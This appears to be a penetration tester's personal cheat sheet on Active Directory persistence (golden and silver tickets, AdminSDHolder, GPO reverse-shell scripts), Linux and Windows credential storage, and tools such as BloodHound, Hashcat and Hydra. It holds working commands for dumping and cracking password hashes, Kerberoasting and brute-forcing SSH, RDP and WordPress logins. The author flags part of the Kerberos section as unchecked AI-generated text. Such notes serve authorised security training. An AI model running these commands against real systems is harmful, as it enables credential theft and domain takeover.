go: github.com/hahwul/dalfox/v2@latest (in github.com/hahwul/dalfox/v2@v2.12.0): go.mod:3: invalid go version '1.23.0': must match format 1.23…Install a local Go and wire it into
PATH:wget https://go.dev/dl/go1.23.6.linux-amd64.tar.gz mkdir -p ~/go_bin tar -C ~/go_bin -xzf go1.23.6.linux-amd64.tar.gz export PATH=$HOME/go_bin/go/bin:$HOME/go/bin/:$PATH echo -e '\nexport PATH=$HOME/go_bin/go/bin:$HOME/go/bin/:$PATH' | tee -a ~/.bashrc ~/.zshrc go versionDNS Server Reconfig
sudo rm -f /etc/resolv.conf && \ echo -e "nameserver <DNS_SERVER>" | sudo tee /etc/resolv.conf && \ sudo chattr +i /etc/resolv.conf dig +short <TARGET>Authentication Process - Kerberos
WIP: currently this is AI slop distilled from handouts and notes
Core Concepts & Flow
Kerberos is a ticket-based authentication protocol. It relies on a trusted third party, the Key Distribution Center (KDC), which resides on the Domain Controller (DC).

- AS-REQ (Authentication Service Request): User encrypts a timestamp with their password hash and sends it to the KDC.
- AS-REP (Authentication Service Reply): KDC validates the hash. If correct, issues a TGT (Ticket Granting Ticket). The TGT is valid for a specific time (default 10 hours) and is signed by the KRBTGT account.
- TGS-REQ (Ticket Granting Service Request): User presents the TGT to the KDC and requests access to a specific service (e.g., SQL, CIFS).
- TGS-REP (Ticket Granting Service Reply): KDC validates the TGT. Issues a TGS (Service Ticket). This ticket is encrypted using the Service Account’s password hash (Machine account or User account).
- AP-REQ (Application Request): User presents the TGS to the Application Server/Service. Service decrypts the ticket using its own hash to validate access.
- AP-REP (Application Reply): Access Granted
Ticket Forgery Attacks
Golden Tickets (Forged TGT)
A Golden Ticket is a forged TGT. It bypasses the authentication step (
AS-REQ) entirely.- Requirement: The NTLM hash of the
KRBTGTaccount. - Scope: Complete Domain Compromise. You can request a TGS for any service on any machine.
- Mechanics:
- You are forging the proof of identity that the KDC trusts.
- You can impersonate non-existent users (as long as the ticket timestamp is >20 mins old).
- You can set the ticket validity to 10+ years.
- Bypasses Smart Card requirements (since TGT issuance is the result of SC checks).
- Persistence:
- Access remains valid until the
KRBTGTpassword is rotated twice (AD keeps the current and previous hash valid). - Detection is difficult as TGT generation can occur off-domain.
- Access remains valid until the
Silver Tickets (Forged TGS)
A Silver Ticket is a forged Service Ticket. It bypasses the KDC entirely and interacts directly with the target server.
- Requirement: The NTLM hash of the Target Service Account (usually the Computer Account hash).
- Scope: Limited. Grants administrative access only to the specific service on the specific host targeted.
- Mechanics:
- You are skipping the KDC/DC steps (1-4). There is no network traffic to the DC.
- Logs only appear on the target server, making detection difficult for centralized SIEMs.
- Can create non-existent users with custom SIDs (e.g., Domain Admin SID) inside the ticket.
- Persistence:
- Valid until the Machine Account password rotates (default 30 days).
- Attackers may disable machine password rotation in the registry to maintain access.
Account & Attribute Persistence
SID History Injection
The
sidHistoryattribute is designed for domain migrations to allow users to retain access to resources in their old domain.- Attack: Injecting the SID of a privileged group (e.g., Enterprise Admins) into the
sidHistoryof a low-privileged account. - Mechanism: When a user logs in, the PAC (Privilege Attribute Certificate) includes SIDs from their own groups AND their SID History.
- Stealth: The user does not appear in the “Domain Admins” group in AD Users and Computers. Detection requires filtering specific user attributes.
- Removal: Difficult; requires clearing the protected attribute via AD-RSAT tools.
Certificate Persistence (AD CS)
Forging authentication certificates using a compromised Certificate Authority (CA).
- Mechanism: Exporting the CA certificate and private key to mint new user certificates.
- Impact: Allows requesting TGTs indefinitely.
- Severity: Critical/Nuclear.
- Persists through user password changes.
- Persists through
KRBTGTrotation. - The rogue certificates are not in the CA’s issued list, so they cannot be individually revoked.
- Remediation: Requires revoking the Root CA, effectively breaking the entire trust infrastructure of the domain.
Structural Persistence
AdminSDHolder & SDProp
A mechanism to ensure protected groups (Domain Admins, etc.) stay secure, often abused for “self-healing” persistence.
- Mechanism: The
AdminSDHoldercontainer acts as a template. Every 60 minutes, the SDProp process copies permissions fromAdminSDHolderto all protected groups. - Attack: An attacker modifies the ACL of
AdminSDHolderto give a low-priv user “Full Control.” - Persistence: Even if an admin manually removes the attacker’s permissions from the Domain Admin group, SDProp will automatically re-add them within an hour.
Group Nesting & Modification
Hiding access in plain sight by manipulating group structures.
- Nesting: Adding a compromised account to a mundane group (e.g., “Printer Admins”), which is nested inside “IT Support,” which is nested inside “Domain Admins.” Bypasses shallow monitoring alerts.
- Shadow Groups: Leveraging groups with indirect access, such as groups that have write access to GPOs or password reset rights on Admin accounts.
GPO Implants
Using Group Policy Objects to deploy persistence across the fleet.
- Restricted Groups: Pushing a policy that adds a compromised domain user to the Local Administrators group of every PC.
- Logon Scripts: Configuring a GPO to run a reverse shell script every time a user (or specifically an Admin) logs in.
Machine/Host Persistence
DSRM (Directory Services Restore Mode)
Every DC has a local administrator account used for recovery (DSRM).
- Attack: Dumping this local hash (often set at DC promotion and never changed).
- Persistence: Configuring the DC to allow DSRM login via network (registry key
DsrmAdminLogonBehavior). Allows persistent local admin access to the DC essentially independent of AD.
MOSTLY DEAD TECHNIQUES
Skeleton Keys
Patching the
lsass.exeprocess on a Domain Controller memory to accept a “Master Password.”- Effect: The attacker can authenticate as any user using the master password.
- Stealth: The real user passwords still work normally.
- Limitation: Persistence is lost if the DC reboots.
Malicious SSP (Security Support Provider)
Registering a malicious DLL (like
mimilib.dll) as a security provider on the DC.- Effect: Logs cleartext passwords of every user authenticating against that DC to a local file or network share.
- Persistence: Survives reboots and operates as part of the OS authentication subsystem.
Authentication Process - Kerberos
- Knowledge Consistency Checker (KCC) generates a replication topology for the AD forest and automatically connects to other domain controllers through Remote Procedure Calls (RPC) to synchronise information… DC Synchronisation
- High value (near-privileged) accounts since
Domain Adminswould technically be the goal but get creds rotated quickly- Credentials that have local administrator rights on several machines. Usually, organisations have a group or two with local admin rights on almost all computers. These groups are typically divided into one for workstations and one for servers. By harvesting the credentials of members of these groups, we would still have access to most of the computers in the estate.
- Service accounts that have delegation permissions. With these accounts, we would be able to force golden and silver tickets to perform Kerberos delegation attacks.
- Accounts used for privileged AD services. If we compromise accounts of privileged services such as Exchange, Windows Server Update Services (WSUS), or System Center Configuration Manager (SCCM), we could leverage AD exploitation to once again gain a privileged foothold.
we often want to persist through service accounts with delegation permissions to forge silver and golden tickets

TGT
TGS
AS-REQ
TGS-REQ
AP-REQ
Golden Tickets are forged TGT for the
AS-REQ, which allow the request of TGS. Skips steps 1-2- ONLY NEED:
KRBTGTaccount’s password hash, we only need the domain name, domain SID, and user ID for the person we want to impersonate… if we have said hash we can get the other info - dont need password of user account impersonated
- the KDC will only validate the user account specified in the TGT if it is older than 20 minutes. This means we can put a disabled, deleted, or non-existent account in the TGT, and it will be valid as long as we ensure the timestamp is not older than 20 minutes.
- we could overwrite the values pushed by the KDC, such as, for example, that tickets should only be valid for 10 hours. We could, for instance, ensure that our TGT is valid for 10 years, granting us persistence.
- By default, the
KRBTGTaccount’s password never changes, meaning once we have it, unless it is manually rotated, we have persistent access by generating TGTs forever. - The blue team would have to rotate the KRBTGT account’s password twice, since the current and previous passwords are kept valid for the account. This is to ensure that accidental rotation of the password does not impact services.
- Rotating the KRBTGT account’s password is an incredibly painful process for the blue team since it will cause a significant amount of services in the environment to stop working. They think they have a valid TGT, sometimes for the next couple of hours, but that TGT is no longer valid. Not all services are smart enough to release the TGT is no longer valid (since the timestamp is still valid) and thus won’t auto-request a new TGT.
- Golden tickets would even allow you to bypass smart card authentication, since the smart card is verified by the DC before it creates the TGT.
- We can generate a golden ticket on any machine, even one that is not domain-joined (such as our own attack machine), making it harder for the blue team to detect.
- ONLY NEED:
Silver Tickets are forged TGS tickets. Skips steps 1-4
- The generated TGS is signed by the machine account of the host we are targeting.
- The main difference between Golden and Silver Tickets is the number of privileges we acquire. If we have the KRBTGT account’s password hash, we can get access to everything. With a Silver Ticket, since we only have access to the password hash of the machine account of the server we are attacking, we can only impersonate users on that host itself. The Silver Ticket’s scope is limited to whatever service is targeted on the specific server.
- Since the TGS is forged, there is no associated TGT, meaning the DC was never contacted. This makes the attack incredibly dangerous since the only available logs would be on the targeted server. So while the scope is more limited, it is significantly harder for the blue team to detect.
- Since permissions are determined through SIDs, we can again create a non-existing user for our silver ticket, as long as we ensure the ticket has the relevant SIDs that would place the user in the host’s local administrators group.
- The machine account’s password is usually rotated every 30 days, which would not be good for persistence. However, we could leverage the access our TGS provides to gain access to the host’s registry and alter the parameter that is responsible for the password rotation of the machine account. Thereby ensuring the machine account remains static and granting us persistence on the machine.
- While only having access to a single host might seem like a significant downgrade, machine accounts can be used as normal AD accounts, allowing you not only administrative access to the host but also the means to continue enumerating and exploiting AD as you would with an AD user account.
WARNING
The techniques discussed from this point forward are incredibly invasive and hard to remove. Even if you have signoff on your red team exercise to perform these techniques, you must take the utmost caution when performing these techniques. In real-world scenarios, the exploitation of most of these techniques would result in a full domain rebuild.
- Make sure you fully understand the consequences of using these techniques and only perform them if you have prior approval on your assessment and they are deemed necessary. In most cases, a red team exercise would be dechained at this point instead of using these techniques. Meaning you would most likely not perform these persistence techniques but rather simulate them.
- We can continue requesting TGTs no matter how many rotations they do on the account we are attacking. The only way we can be kicked out is if they revoke the certificate we generated or if it expires. Meaning we probably have persistent access by default for roughly the next 5 years.
- Certificate Authority (CA) itself
Authentication Process - Linux
1. Core Architecture: PAM
Pluggable Authentication Modules (PAM) manage the authentication, session setup, and password changes.
- Key Module:
pam_unix.so(Standard Unix auth). - Location:
/usr/lib/x86_64-linux-gnu/security/ - Function: Bridges the gap between user input (e.g.,
passwdcommand) and flat files (/etc/passwd,/etc/shadow).
2. Critical Files & Storage
A. The User Registry (
/etc/passwd)- Permissions: World-Readable.
- Format:
Username:Password:UID:GID:GECOS:Home:Shell - Key Fields:
- Password (
x): Indicates the hash is actually in/etc/shadow. - Exploit: If writeable, deleting the
xremoves the password requirement for that user (e.g.,root::0:0...allows passwordless login).
- Password (
B. The Secrets (
/etc/shadow)- Permissions: Root-Readable only.
- Format:
Username:Hash:LastChange:Min:Max:Warn:Inactive:Expire:Reserved - Status Flags:
!or*: Account is locked (cannot login via password).- Note: SSH Key auth or
sumight still work even if locked.
C. Password History (
/etc/security/opasswd)- Permissions: Root-Readable.
- Function: Stores previously used password hashes to enforce history policies (prevent reuse).
- Value: Often contains older, weaker hashes (MD5) useful for pattern analysis.
3. Hash Formats & Algorithms
Linux hashes follow the format:
$<id>$<salt>$<hash>ID Algorithm Notes $1$ MD5 Weak. Fast to crack. $2a$ Blowfish Slower (Bcrypt). $5$ SHA-256 Standard. $6$ SHA-512 Standard / Strong. $y$ Yescrypt Modern Default (Debian/Kali). Harder to crack. $7$ Scrypt Memory hard. 4. Cracking Workflow
1. Prepare the File (Unshadow) Combine
passwdandshadowto give the cracker the necessary context (Usernames, GECOS, and Hash).# Syntax: unshadow <PASSWD_FILE> <SHADOW_FILE> unshadow /etc/passwd /etc/shadow > unshadowed.hashes2. Crack (Hashcat)
- Format: SHA-512 (Mode 1800) is the most common legacy default.
hashcat -m 1800 -a 0 unshadowed.hashes rockyou.txt3. Crack (John the Ripper)
- Mode:
--singleis highly effective here becauseunshadowprovides the GECOS fields for guessing.
john --single unshadowed.hashesAuthentication Process - Windows

1. Key Processes & Architecture
WinLogon (
WinLogon.exe)- Role: The “orchestrator.” Intercepts keyboard input (
Ctrl+Alt+Del), manages the workstation lock status, and handles password changes. - Workflow: Launches
LogonUI-> Collects Creds -> Sends toLSASS. - Legacy Note (GINA): In older Windows (NT/XP),
msgina.dllhandled this. Replaced by Credential Providers in modern Windows.
LogonUI (
LogonUI.exe)- Role: The graphical user interface that asks for the password.
- Mechanism: Uses Credential Providers (COM Objects/DLLs) to accept different auth types (Password, PIN, Biometrics).
LSASS (
%SystemRoot%\System32\Lsass.exe)- Role: The “Gatekeeper.” Enforces security policy, validates the password against SAM/AD, and writes to the Event Log.
- Resources: Microsoft: LSA Architecture
2. Authentication DLLs (The Packages)
These modules live inside
LSASSto handle specific tasks.DLL Name Function / Description Lsasrv.dll The Manager. Enforces policy and chooses the protocol (Negotiate: Kerberos vs NTLM). Msv1_0.dll Local / NTLM. Handles non-domain logins and legacy NTLM authentication. Kerberos.dll Domain. Handles Kerberos ticket requests and validation. Samsrv.dll SAM Interface. Talks to the local SAM database. Netlogon.dll Network. Handles the secure channel for network logons. Ntdsa.dll AD Interface. Used to create/manage records in the Registry or AD. 3. Credential Storage Locations
Local Users (SAM)
- File Path:
%SystemRoot%\system32\config\SAM - Registry Mount:
HKLM\SAM - Protection: Partially encrypted by SYSKEY (
syskey.exe) to prevent offline extraction. - Content: Local user NTLM/LM hashes.
Registry Hive Description HKLM\SAMContains password hashes for local user accounts. These hashes can be extracted and cracked to reveal plaintext passwords. HKLM\SYSTEMStores the system boot key, which is used to encrypt the SAM database. This key is required to decrypt the hashes. HKLM\SECURITYContains sensitive information used by the Local Security Authority (LSA), including cached domain credentials (DCC2), cleartext passwords, DPAPI keys, and more. Domain Users (NTDS)
- File Path:
%SystemRoot%\ntds.dit - Location: Found only on Domain Controllers.
- Content: Active Directory database (Users, Groups, Computers, GPOs, Hashes).
- Sync: Replicates to all DCs (except Read-Only DCs).
Credential Manager (The Vault)
- Role: Stores saved passwords for RDP, Websites, and Network Shares.
Policy.vpolin File Path:
%UserProfile%\AppData\Local\Microsoft\Vault\%UserProfile%\AppData\Local\Microsoft\Credentials\%UserProfile%\AppData\Roaming\Microsoft\Vault\%ProgramData%\Microsoft\Vault\%SystemRoot%\System32\config\systemprofile\AppData\Roaming\Microsoft\Vault\
- Resource: Microsoft: Credential Manager

BloodHound
BloodHound
- https://github.com/SpecterOps/BloodHound
- Attack Path: https://morimori-dev.github.io/posts/tech-bloodhound-attack-paths/
NOTE: sometimes the outputed zipfile doesn’t get properly ingested… trying extracting and uploading the individual JSON files
BloodHound is THE TOOL for AD enumeration. “[L]everages graph theory to reveal hidden and often unintended relationships across identity and access management systems…” visually along with other pre-built queries to find weakness in domain structures.
Pre-Requisites
wget https://github.com/SpecterOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz tar -xvzf bloodhound-cli-linux-amd64.tar.gz # Start and reset password for BloodHound via Docker sudo systemctl enable --now docker sudo ./bloodhound-cli install ./bloodhound-cli resetpwdCollecting Info
- Collection Methods: https://bloodhound.specterops.io/collect-data/ce-collection/sharphound-flags
# Bloodhound/SharpHound - AD Mapping Import-Module .\Downloads\SharpHound.ps1 Invoke-Bloodhound -ZipFileName bh_logs.zip -CollectionMethod All -Domain <DOMAIN> # - OR # SharpHound.exe alternative .\SharpHound.exe --zipfilename bh_logs.zip -c All -d <DOMAIN>Uploading Info
- Transfer Bloodhound data to attacker
- Upload zipfile to Bloodhound: http://127.0.0.1:8080/ui/login
- Upload to Bloodhound: http://127.0.0.1:8080/ui/administration/file-ingest
Analysis and Queries
BEST QUERIES Why Find Shortest Paths to Domain Admins Primary attack path Find Principals with DCSync Rights Instant game over if found Find Kerberoastable Users Most common foothold Shortest Paths to DA from Kerberoastable Users Combined path Find AS-REP Roastable Users No creds needed Find Computers where Domain Users are Local Admin Easy lateral movement # Search Box > domain:<DOMAIN> ### Pre-Built Queries # Domain Info > Analysis > # Out-of-date Computers (for Exploits) Find Computers with Unsupported Operating Systems # Find Logged-In/Cached Domain Admins Find Computers where Domain Users are Local AdminDomain Trusts
- Pre-built Query
- Analysis > Domain Information > Map Domain Trusts
Enumerating ACLs of User
- Select starting node user
- Select Node Info > Scroll to
Outbound Control Rights First Degree Object Control- Right-Click edge > Help for more info
Transitive Object Control- Analysis > Dangerous Rights
CanRDP
- BloodHound CanRDP:
- Search for User > Node Info > Execution Rights
- Analysis
Find Workstations where Domain Users can RDPFind Servers where Domain Users can RDP
CanPSRemote
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:CanPSRemote*1..]->(c:Computer) RETURN p2SQLAdmin
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:SQLAdmin*1..]->(c:Computer) RETURN p2ffuf
Fast web fuzzer
ffufis best used for Virtual Host (VHOST) Discovery, Parameter Fuzzing, and API Testing. Useferoxbusterfor web file and directory brute-forcing.When fuzzing for file extensions, try to discern (or guess by searching for
index.*) to ascertain the web technologies used (i.e. PHP for Apache or ASPX for IIS, etc.)References:
Basic usage
HTTP OPTIONS: -H Header "Name: Value", separated by colon. Multiple -H flags are accepted. -X HTTP method to use (default: GET) -b Cookie data "NAME1=VALUE1; NAME2=VALUE2" for copy as curl functionality. -d POST data -recursion Scan recursively. Only FUZZ keyword is supported, and URL (-u) has to end in it. (default: false) -recursion-depth Maximum recursion depth. (default: 0) -u Target URL MATCHER OPTIONS: -mc Match HTTP status codes, or "all" for everything. (default: 200,204,301,302,307,401,403) -ms Match HTTP response size FILTER OPTIONS: -fc Filter HTTP status codes from response. Comma separated list of codes and ranges -fs Filter HTTP response size. Comma separated list of sizes and ranges INPUT OPTIONS: -w Wordlist file path and (optional) keyword separated by colon. eg. '/path/to/wordlist:KEYWORD' -ic Ignore comments in wordlist OUTPUT OPTIONS: -o Write output to file EXAMPLE USAGE: Fuzz file paths from wordlist.txt, match all responses but filter out those with content-size 42. Colored, verbose output. ffuf -w wordlist.txt -u https://example.org/FUZZ -mc all -fs 42 -c -vWordlists
- Dir/File:
/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt - Extensions:
/usr/share/wordlists/seclists/Discovery/Web-Content/web-extensions.txt - Subdomains:
/usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt - URL Parameters:
/usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt - Users:
- Quick:
/usr/share/seclists/Usernames/top-usernames-shortlist.txt - Comprehensive:
/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
- Quick:
Example Commands
Find file extension (and learn web technologies)
# NOTE: already includes '.' so do not add to -u ffuf -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/web-extensions.txt:FUZZ -u http://<TARGET>/indexFUZZSearch for files
ffuf -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://<TARGET>/FUZZ.phpSearch recursively for specified file extensions
# NOTE: -v is needed to show full path ffuf -ic -recursion -recursion-depth 1 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -e .php -u http://<TARGET>/FUZZ -vSubdomain search
# NOTE: remember this will not find internal, private subdomains ffuf -ic -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://FUZZ.<DOMAIN>vHost Brute-Force
Just changes HTTP header
# NOTE: filter out by response size since an HTTP response of 200 OK will always be received ffuf -ic -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -H 'Host: FUZZ.<DOMAIN>' -u http://<TARGET>/ -fs <SIZE> # Add NEW vHosts to automatically resolve them later echo '<IP_ADDR> <VHOST>.<FQDN>' | sudo tee -a /etc/hostsParameter fuzzing
GET
# NOTE: filter out by response size since an HTTP response of 200 OK will always be received ffuf -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://<TARGET>/<PAGE>?FUZZ=value -fs <SIZE>POST
# NOTE: filter out by response size since an HTTP response of 200 OK will always be received ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://<TARGET>/<PAGE> -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d 'FUZZ=value' -fs <SIZE>Value fuzzing
For HTTP
GETrequests, remove the-Xand-doptions and incorporate thePARAM=valueinto the-uURL.Try other wordlists to make sure they make sense for the
PARAM.### IDs # Might require custom wordlist like ids for instance for i in $(seq 1 100000) ; do echo $i >> ids.txt ; done # Fuzz ffuf -w <CUSTOM_WORDLIST>:FUZZ -u http://<TARGET>/<PAGE> -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d '<PARAM>=FUZZ' -fs <SIZE> ### USERNAMES ffuf -w /usr/share/seclists/Usernames/top-usernames-shortlist.txt:FUZZ -u http://<TARGET>/<PAGE> -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d '<PARAM>=FUZZ' -fs <SIZE># Access via curl (POST) curl http://<TARGET>/<PAGE> -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d '<PARAM>=<VALUE>'Hashcat
Hashcat is a fast password recovery tool that supports multiple attack modes and hash types. It’s the world’s fastest and most advanced password recovery utility.
References:
- Hash Type Codes: https://hashcat.net/wiki/doku.php?id=example_hashes
- Permutation Rules:
/usr/share/hashcat/rules - Cheat Sheet: https://pentesting.site/cheat-sheets/hashcat/
- Rule-Based Attack: https://hashcat.net/wiki/doku.php?id=rule_based_attack
Important Notes
- Hash Mode: Always specify the correct
-mmode for your hash type. Usehashidor check the hash format to determine the mode. - Wordlists: Common wordlists include
rockyou.txt,SecLists, and custom wordlists generated from OSINT. - Rules: Start with
best64.rulefor quick results, then move to more comprehensive rules if needed. - Performance: Use
-w 3or-w 4for faster cracking (uses more resources). Use-Ofor optimized kernels (may limit password length). - GPU Acceleration: Hashcat automatically uses GPU if available. Ensure proper drivers are installed.
- Resume Sessions: Hashcat saves progress automatically. Use
--restoreto resume interrupted sessions. - Output: Cracked passwords are saved to
~/.hashcat/hashcat.potfile~/.local/share/hashcat/hashcat.potfile
- Username: Sometimes it strips the name from hits… to show username and passwords run:
hashcat --username --show <CRACKME>
Basic Usage
# Basic syntax hashcat -m <HASH_MODE> -a <ATTACK_MODE> <HASH_FILE> <WORDLIST> # Common flags -m <MODE> : Hash type mode (see hash types below) -a <MODE> : Attack mode (0=straight, 1=combinator, 3=brute-force/mask, 6=hybrid wordlist+mask) -r <RULE> : Rule file for rule-based attack --force : Ignore warnings (use with caution) --stdout : Output to stdout instead of cracking -w <LEVEL> : Workload profile (1-4, higher = faster but more resource intensive) -O : Optimized kernels (limits password length)Attack Modes
Mode Description Example 0 Straight (Dictionary) hashcat -a 0 -m 1000 hash.txt wordlist.txt1 Combinator Combines words from two wordlists 3 Brute-Force/Mask hashcat -a 3 -m 1000 hash.txt ?a?a?a?a?a?a6 Hybrid Wordlist + Mask Wordlist + mask pattern Common Hash Types & Modes
Windows Hashes
# NT hashes (NTLM) hashcat -m 1000 <HASHES> <WORDLIST> # PBKDF2 (DCC2 hashes for domain - cached domain credentials) hashcat -m 2100 <HASHES> <WORDLIST>Linux Hashes
# SHA-512crypt (most common legacy default) hashcat -m 1800 hashes.txt <WORDLIST> # MD5crypt (with salt) hashcat -m 20 <HASH>:<SALT> <WORDLIST>Kerberos (Active Directory)
# Kerberoasting - RC4 encrypted TGS (Type 23) hashcat -m 13100 spn_tickets.txt <WORDLIST> # Kerberoasting - AES-256 encrypted TGS (Type 18) hashcat -m 19600 spn_tickets.txt <WORDLIST> # Kerberoasting - AES-128 encrypted TGS (Type 17) hashcat -m 19700 spn_tickets.txt <WORDLIST>Other Hash Types
# Bitlocker hashcat -a 0 -m 22100 hash_crackme_vhd.txt <WORDLIST> # IPMI (HP iLO) hashcat -m 7300 ipmi_hash.txt -a 3 ?1?1?1?1?1?1?1?1 -1 ?d?u hashcat -m 7300 -w 3 -O "<HASH>" /usr/share/wordlists/rockyou.txtRule-Based Attacks
Rule-based attacks apply transformations to words in a wordlist, creating permutations and variations.
Rule Files Location
# Default rule files location /usr/share/hashcat/rulesRule Comparison Table
Rule File Rule Count Use Case best64.rule64 First Run. Instant results for easy passwords. d3ad0ne.rule~34,000 Deep Crack. Good for standard “complex” user passwords. dive.rule~100,000+ Paranoid. Extremely slow; last resort for dictionary attacks. Using Rules
# Apply rule file to wordlist hashcat -m 1800 -r /usr/share/hashcat/rules/best64.rule hashes.txt <WORDLIST>Creating Custom Rules
Common rule transformations:
Rule Description Example cCapitalize first character, lowercase rest passwordβPasswordCLowercase first character, uppercase rest passwordβpASSWORDtToggle case of all characters passwordβPASSWORD$!Append !to endpasswordβpassword!$1$9$9$8Append 1998to endpasswordβpassword1998sa@Replace all awith@passwordβp@sswordso0Replace all owith0passwordβpassw0rdss$Replace all swith$passwordβpa$$wordExample Custom Rule File:
cat << EOF > custom.rule c C t \$! \$1\$9\$9\$8 \$1\$9\$9\$8\$! sa@ so0 ss\$ EOF # Generate permutated wordlist hashcat --force -r custom.rule keywords.txt --stdout | sort -u > wordlist.txt # Crack hash with custom rule hashcat -a 0 -m <HASH_ID> -r custom.rule <HASH> wordlist.txtMask Attacks (
-a 3)Mask attacks use placeholders to define character sets and patterns for brute-force attacks.
Charset Symbols
Symbol Description Charset / Definition ?lLowercase abcdefghijklmnopqrstuvwxyz?uUppercase ABCDEFGHIJKLMNOPQRSTUVWXYZ?dDigits 0123456789?hHex (Lower) 0123456789abcdef?HHex (Upper) 0123456789ABCDEF?sSpecial Β«spaceΒ»!"#$%&’()*+,-./:;<=>?@[]^_{` ?aAll ?l?u?d?s?bBinary 0x00 - 0xffCustom Charsets
# Define custom charset with -1, -2, -3, -4 # -1 ?d?u means charset 1 = digits + uppercase hashcat -a 3 -m 7300 hash.txt ?1?1?1?1?1?1?1?1 -1 ?d?uMask Examples
# Pattern: 1 uppercase, 4 lowercase, 1 digit, 1 special hashcat -a 3 -m <HASH_ID> <HASH> '?u?l?l?l?l?d?s' # 8 characters: digits or uppercase hashcat -a 3 -m 7300 hash.txt ?1?1?1?1?1?1?1?1 -1 ?d?uHash Identification
Before cracking, identify the hash type:
# Use hashid to identify hash and get hashcat mode hashid -jm '<HASH>' # Alternative: online tool # https://hashes.com/en/tools/hash_identifierCommon Hash Values
Hash Value Type Meaning d41d8cd98f00b204e9800998ecf8427eMD5 Empty String (0 byte input) da39a3ee5e6b4b0d3255bfef95601890afd80709SHA1 Empty String (0 byte input) e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855SHA256 Empty String (0 byte input) Workflow Examples
Linux Password Cracking
# 1. Prepare unshadowed file unshadow /etc/passwd /etc/shadow > unshadowed.hashes # 2. Crack with hashcat (SHA-512, mode 1800) hashcat -m 1800 -a 0 unshadowed.hashes rockyou.txtKerberoasting
# 1. Get TGS tickets impacket-GetUserSPNs -dc-ip <DC_IP> <DOMAIN>/<USER> -request -outputfile spn_tickets.txt # 2. Crack TGS (RC4, most common) hashcat -m 13100 spn_tickets.txt <WORDLIST> # 3. If AES-256, use mode 19600 hashcat -m 19600 spn_tickets.txt <WORDLIST>Windows NT Hashes
# Extract hashes from SAM impacket-secretsdump -sam sam.save -security security.save -system system.save LOCAL # Crack NT hashes hashcat -m 1000 <HASHES> <WORDLIST>Hydra
Hydra is a parallelized login cracker that supports numerous protocols to attack quickly and flexibly, and new modules are easy to add.
NOTE: use
netexecfor Windows AD environments insteadCore Flags
-f : Stop immediately when a credential is found -V : Verbose (Check if service is responding) -t <N> : Number of parallel tasks (threads) -l <USER> : Single username -L <USER_LIST> : Username list file -p <PASSWORD> : Single password -P <WORDLIST> : Password wordlist file -o <OUTPUT> : Output file -s <PORT> : Port if nonstandard -M <TARGET_FILE> : Targets list filehydra -x -h # Generate and test passwords ranging from 6 to 8 characters of an alphanumeric set -x 6:8:abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789Protocol-Specific Examples
SSH / FTP / RDP / SMB
# SSH brute-force; -t 4 is recommended for SSH (ONLINE - use small wordlist) hydra -t 4 -l <USER> -P <WORDLIST> -f -V ssh://<TARGET> # FTP brute-force hydra -l <USER> -P <WORDLIST> -f -V ftp://<TARGET> # RDP brute-force hydra -l <USER> -P <WORDLIST> -f -V rdp://<TARGET> # SMB brute-force hydra -l <USER> -P <WORDLIST> -f -V smb://<TARGET>Web Forms
HTTP-POST
Syntax:
"/PATH:BODY:CONDITION=STRING"- Use browser F12 > Network > DevTools, web proxy, or
-dto capture the actual POST request. Look for the form action URL and input field names. - Use
^USER^and^PASS^as placeholders inBODY - Condition String:
hydra -U http-post-form- Important: you can only define S= OR F= - not both
F=<FAILURE_STRING>(default) specifies the failure response text to detect failed logins- too many false positives means bad failure string
- `S=<SUCCESS_STRING>
S=302means a successful login due to an HTTP 302 page forward redirect
Check with
-dt1for condition strings# S=302 for login redirects (and no login error) hydra -l <USER> -P <WORDLIST> -f <TARGET> http-post-form "/<PAGE>:<USERNAME_LABEL>=^USER^&<PASSWORD_LABEL>=^PASS^:S=302" -V # F=X for bad logins give an error hydra -l <USER> -P <WORDLIST> -f <TARGET> http-post-form "/<PAGE>:<USERNAME_LABEL>=^USER^&<PASSWORD_LABEL>=^PASS^:F=invalid" -VHTTP Basic Auth
A basic form of authentication, usually when a web resource is restricted, a pop-up window will appear asking for username and password. From a HTTP header perspective it is the base64 version of
<USERNAME>:<PASSWORD>like:Authorization: Basic YWxpY2U6c2VjcmV0MTIzhydra -l <USER> -P <WORDLIST> -f <TARGET> http-get -VWordPress Specific
# WordPress brute-force login form with a complex request string (ONLINE - use small wordlist) hydra -t 16 -l <USER> -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt <TARGET> http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^:F=Invalid username' -VF -o hydra_wp_login.txt # Alternative WordPress syntax hydra -l <USER> -P <WORDLIST> <TARGET> http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username" -V -fPassword Spraying
Password spraying uses one password against many users (alternates users), which has no risk of account lockout compared to brute-forcing. This is useful as a “hail Mary” to find any way in!
Best practice: Obtain account lockout policy beforehand (via enumeration or asking customer); if you don’t know the password policy, a good rule of thumb is to wait a few hours between attempts, which should be long enough for the account lockout threshold to reset.
